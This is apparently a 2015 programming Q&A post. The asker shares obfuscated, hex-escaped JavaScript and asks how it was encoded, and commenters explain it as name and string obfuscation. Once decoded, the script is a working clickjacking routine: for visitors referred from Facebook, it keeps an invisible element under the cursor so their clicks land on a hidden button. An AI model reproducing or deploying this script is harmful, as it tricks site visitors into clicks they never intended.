Can you help me to explain how they encode or encrypt the javascript code like this? can we decode it?

Question

Actually, my purpose is not decode the below code, I just want to learn something. But I couldn't find anything information on google, even I typed a lot key-search. That's why I need you-experts can explain it for me. Here are the javascript code that had been encoded:

var _0x3618 = ["\x63\x6F\x6F\x6B\x69\x65", "\x6C\x65\x6E\x67\x74\x68", "\x5B\x6F\x62\x6A\x65\x63\x74\x20\x4F\x62\x6A\x65\x63\x74\x5D", "\x65\x78\x74\x65\x6E\x64", "\x65\x78\x70\x69\x72\x65\x73", "\x6E\x75\x6D\x62\x65\x72", "\x67\x65\x74\x44\x61\x74\x65", "\x73\x65\x74\x44\x61\x74\x65", "", "\x6A\x6F\x69\x6E", "\x3D", "\x72\x61\x77", "\x3B\x20\x65\x78\x70\x69\x72\x65\x73\x3D", "\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67", "\x70\x61\x74\x68", "\x3B\x20\x70\x61\x74\x68\x3D", "\x64\x6F\x6D\x61\x69\x6E", "\x3B\x20\x64\x6F\x6D\x61\x69\x6E\x3D", "\x73\x65\x63\x75\x72\x65", "\x3B\x20\x73\x65\x63\x75\x72\x65", "\x65\x78\x65\x63", "\x28\x3F\x3A\x5E\x7C\x3B\x20\x29", "\x3D\x28\x5B\x5E\x3B\x5D\x2A\x29", "\x70\x6F\x70\x75\x70\x5F\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E", "\x79\x65\x73", "\x66\x62\x73\x6D\x61\x6C\x6C", "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", "\x63\x6F\x6D\x70\x61\x74\x4D\x6F\x64\x65", "\x43\x53\x53\x31\x43\x6F\x6D\x70\x61\x74", "\x64\x6F\x63\x75\x6D\x65\x6E\x74\x45\x6C\x65\x6D\x65\x6E\x74", "\x62\x6F\x64\x79", "\x65\x76\x65\x6E\x74", "\x74\x6F\x70", "\x73\x74\x79\x6C\x65", "\x79", "\x73\x63\x72\x6F\x6C\x6C\x54\x6F\x70", "\x70\x78", "\x6C\x65\x66\x74", "\x78", "\x73\x63\x72\x6F\x6C\x6C\x4C\x65\x66\x74", "\x70\x61\x67\x65\x59", "\x70\x61\x67\x65\x58", "\x6F\x6E\x6D\x6F\x75\x73\x65\x6D\x6F\x76\x65", "\x66\x61\x63\x65\x62\x6F\x6F\x6B", "\x69\x6E\x64\x65\x78\x4F\x66", "\x72\x65\x66\x65\x72\x72\x65\x72", "\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x20\x73\x74\x61\x74\x69\x63\x3B", "\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65", "\x6F\x75\x74\x65\x72\x2D\x77\x72\x61\x70", "\x69\x6E\x6E\x65\x72\x2D\x77\x72\x61\x70", "\x61\x7A\x6F\x6B\x68\x75\x6E\x67", "\x2D\x6B\x68\x74\x6D\x6C\x2D\x6F\x70\x61\x63\x69\x74\x79\x3A\x20\x30\x3B\x20\x2D\x6D\x6F\x7A\x2D\x6F\x70\x61\x63\x69\x74\x79\x3A\x20\x30\x3B\x20\x6F\x70\x61\x63\x69\x74\x79\x3A\x20\x30\x20\x21\x69\x6D\x70\x6F\x72\x74\x61\x6E\x74\x3B\x20\x6F\x76\x65\x72\x66\x6C\x6F\x77\x3A\x20\x68\x69\x64\x64\x65\x6E\x3B\x20\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x20\x61\x62\x73\x6F\x6C\x75\x74\x65\x3B\x6D\x61\x72\x67\x69\x6E\x2D\x6C\x65\x66\x74\x3A\x30\x70\x78\x3B\x6D\x61\x72\x67\x69\x6E\x2D\x74\x6F\x70\x3A\x30\x70\x78\x3B\x77\x69\x64\x74\x68\x3A\x20\x36\x30\x70\x78\x3B\x20\x68\x65\x69\x67\x68\x74\x3A\x20\x36\x30\x70\x78\x3B\x7A\x2D\x69\x6E\x64\x65\x78\x3A\x20\x39\x39\x39\x39\x39\x39\x39\x39\x3B", "\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x20\x61\x62\x73\x6F\x6C\x75\x74\x65\x3B\x6D\x61\x72\x67\x69\x6E\x2D\x74\x6F\x70\x3A\x2D\x31\x38\x30\x70\x78\x3B\x6D\x61\x72\x67\x69\x6E\x2D\x6C\x65\x66\x74\x3A\x2D\x31\x34\x30\x70\x78\x3B\x7A\x2D\x69\x6E\x64\x65\x78\x3A\x20\x39\x39\x39\x39\x39\x39\x39\x39\x3B", "\x61\x64\x73", "\x6D\x65\x64\x69\x75\x6D", "\x66\x61\x64\x65\x49\x6E", "\x64\x65\x6C\x61\x79", "\x23\x66\x61\x6E\x62\x61\x63\x6B", "\x66\x61\x64\x65\x4F\x75\x74", "\x73\x74\x6F\x70", "\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x20\x72\x65\x6C\x61\x74\x69\x76\x65\x3B", "\x63\x6C\x69\x63\x6B", "\x23\x66\x61\x6E\x63\x6C\x6F\x73\x65\x2C\x20\x23\x66\x61\x6E\x2D\x65\x78\x69\x74", "\x2F", "\x72\x65\x61\x64\x79"];
jQuery[_0x3618[0]] = function(_0x7697x1, _0x7697x2, _0x7697x3) {
if (arguments[_0x3618[1]] > 1 && String(_0x7697x2) !== _0x3618[2]) {
    _0x7697x3 = jQuery[_0x3618[3]]({}, _0x7697x3);
    if (_0x7697x2 === null || _0x7697x2 === undefined) {
        _0x7697x3[_0x3618[4]] = -1
    };
    if (typeof _0x7697x3[_0x3618[4]] === _0x3618[5]) {
        var _0x7697x4 = _0x7697x3[_0x3618[4]],
            _0x7697x5 = _0x7697x3[_0x3618[4]] = new Date();
        _0x7697x5[_0x3618[7]](_0x7697x5[_0x3618[6]]() + _0x7697x4);
    };
    _0x7697x2 = String(_0x7697x2);
    return (document[_0x3618[0]] = [encodeURIComponent(_0x7697x1), _0x3618[10], _0x7697x3[_0x3618[11]] ? _0x7697x2 : encodeURIComponent(_0x7697x2), _0x7697x3[_0x3618[4]] ? _0x3618[12] + _0x7697x3[_0x3618[4]][_0x3618[13]]() : _0x3618[8], _0x7697x3[_0x3618[14]] ? _0x3618[15] + _0x7697x3[_0x3618[14]] : _0x3618[8], _0x7697x3[_0x3618[16]] ? _0x3618[17] + _0x7697x3[_0x3618[16]] : _0x3618[8], _0x7697x3[_0x3618[18]] ? _0x3618[19] : _0x3618[8]][_0x3618[9]](_0x3618[8]));
};
_0x7697x3 = _0x7697x2 || {};
var _0x7697x6, _0x7697x7 = _0x7697x3[_0x3618[11]] ? function(_0x7697x8) {
    return _0x7697x8
} : decodeURIComponent;
return (_0x7697x6 = new RegExp(_0x3618[21] + encodeURIComponent(_0x7697x1) + _0x3618[22])[_0x3618[20]](document[_0x3618[0]])) ? _0x7697x7(_0x7697x6[1]) : null;};
jQuery(document)[_0x3618[64]](function(_0x7697x9) {
if (_0x7697x9[_0x3618[0]](_0x3618[23]) != _0x3618[24]) {
    var _0x7697xa = 0;
    var _0x7697xb = document[_0x3618[26]](_0x3618[25]);
    var _0x7697xc = (document[_0x3618[27]] == _0x3618[28]) ? document[_0x3618[29]] : document[_0x3618[30]];

    function _0x7697xd(_0x7697xe) {
        if (window[_0x3618[31]]) {
            _0x7697xb[_0x3618[33]][_0x3618[32]] = (window[_0x3618[31]][_0x3618[34]] - 180 + _0x7697x9(window)[_0x3618[35]]()) + _0x7697xc[_0x3618[35]] + _0x3618[36];
            _0x7697xb[_0x3618[33]][_0x3618[37]] = (window[_0x3618[31]][_0x3618[38]] - 15) + _0x7697xc[_0x3618[39]] + _0x3618[36];
        } else {
            _0x7697xb[_0x3618[33]][_0x3618[32]] = (_0x7697xe[_0x3618[40]] - 180) + _0x3618[36];
            _0x7697xb[_0x3618[33]][_0x3618[37]] = (_0x7697xe[_0x3618[41]] - 15) + _0x3618[36];
        }
    }
    document[_0x3618[42]] = function(_0x7697xe) {
        if (_0x7697xa == 0) {
            _0x7697xd(_0x7697xe)
        }
    };
    if (document[_0x3618[45]][_0x3618[44]](_0x3618[43]) >= 0) {
        setTimeout(function() {
            document[_0x3618[26]](_0x3618[48])[_0x3618[47]](_0x3618[33], _0x3618[46]);
            document[_0x3618[26]](_0x3618[49])[_0x3618[47]](_0x3618[33], _0x3618[46]);
            document[_0x3618[26]](_0x3618[50])[_0x3618[47]](_0x3618[33], _0x3618[46]);
            document[_0x3618[26]](_0x3618[25])[_0x3618[47]](_0x3618[33], _0x3618[51]);
            document[_0x3618[26]](_0x3618[53])[_0x3618[47]](_0x3618[33], _0x3618[52]);
        }, 10000);
        _0x7697x9(_0x3618[57])[_0x3618[56]](10000)[_0x3618[55]](_0x3618[54]);
        _0x7697x9(_0x3618[62])[_0x3618[61]](function() {
            _0x7697x9(_0x3618[57])[_0x3618[59]]()[_0x3618[58]](_0x3618[54]);
            document[_0x3618[26]](_0x3618[48])[_0x3618[47]](_0x3618[33], _0x3618[60]);
            document[_0x3618[26]](_0x3618[49])[_0x3618[47]](_0x3618[33], _0x3618[60]);
            document[_0x3618[26]](_0x3618[50])[_0x3618[47]](_0x3618[33], _0x3618[60]);
        });
        _0x7697x9[_0x3618[0]](_0x3618[23], _0x3618[24], {
            path: _0x3618[63],
            expires: 1
        });
    } else {};
}});

Personally, I've never seen anything like this. This just looks like some sort of obfuscated code with weird variable names and Strings encoded with `\x` instead of just writing out the characters. However, I think it could be some sort of intermediate JavaScript code used to parse the JavaScript. Where did you find this? — Noble Mushtak, Aug 21 '15 at 14:30
Me too, I've never seen it before. So I just want to know how they do that. — Nguyen Linh, Aug 21 '15 at 14:34
Those are just obfuscated variable names. Here's a fiddle with the first array decoded and written to the screen: http://jsfiddle.net/agtgvhbw/ — Dave, Aug 21 '15 at 14:35
De-obfusticated (only variable names left): http://pastebin.com/YnYHTtXZ — Andreas, Aug 21 '15 at 14:46

Can you help me to explain how they encode or encrypt the javascript code like this? can we decode it?

0 Answers0